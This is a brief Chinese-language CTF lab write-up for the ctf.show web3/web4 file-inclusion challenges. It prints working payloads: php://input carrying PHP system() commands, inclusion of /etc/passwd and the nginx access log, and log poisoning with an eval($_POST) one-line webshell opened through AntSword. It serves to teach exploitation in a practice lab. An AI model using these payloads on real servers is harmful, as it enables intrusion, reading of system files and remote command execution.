1、进入ctf.show靶场的WEB分类下的web3、web4题
打开的靶场内容显示如下图所示,是文件包含类型,需要上传一个文件,参数名称是 url 。
2、打开靶场,使用kakit抓包后,利用php伪协议,上传一个php输入流
?url=php://input
<?php system('ls ./');?>
注意:此为执行“查看当前目录”命令。
?url=php://input
<?php system('cat ./ctf_go_go_go');?>
注意:此为执行“查看当前目录下ctf_go_go_go文件内容”命令。
如上图所示,获取本题flag。
3、利用php伪协议,上传一个服务本地文件
?url=/etc/passwd
注意:此为包含一个服务器本地/etc/passwd文件。
?url=/var/log/nginx/access.log
注意:此为包含一个服务器本地/var/log/nginx/access.log文件。
如上图所示,可以看到nginx的access.log中记录了浏览器版本信息,使用yakit抓包后,浏览器版本信息后面可以追加上一句话木马<?php @eval($_POST['test']);?>,然后放行后。
使用“中国蚁剑”链接。注意这里的链接密码test是一句话目录需要传的参数名称(即需要执行的系统命令,将以该参数名提交到服务器)。
如上图所示,点击“保存”后,双击该链接,可以直接链接到服务器,浏览服务器目录,发现当前页面的上级目录下有个flag.txt。
双击flag.txt,即可查找到flag。
另外网页上访问,可以发现flag。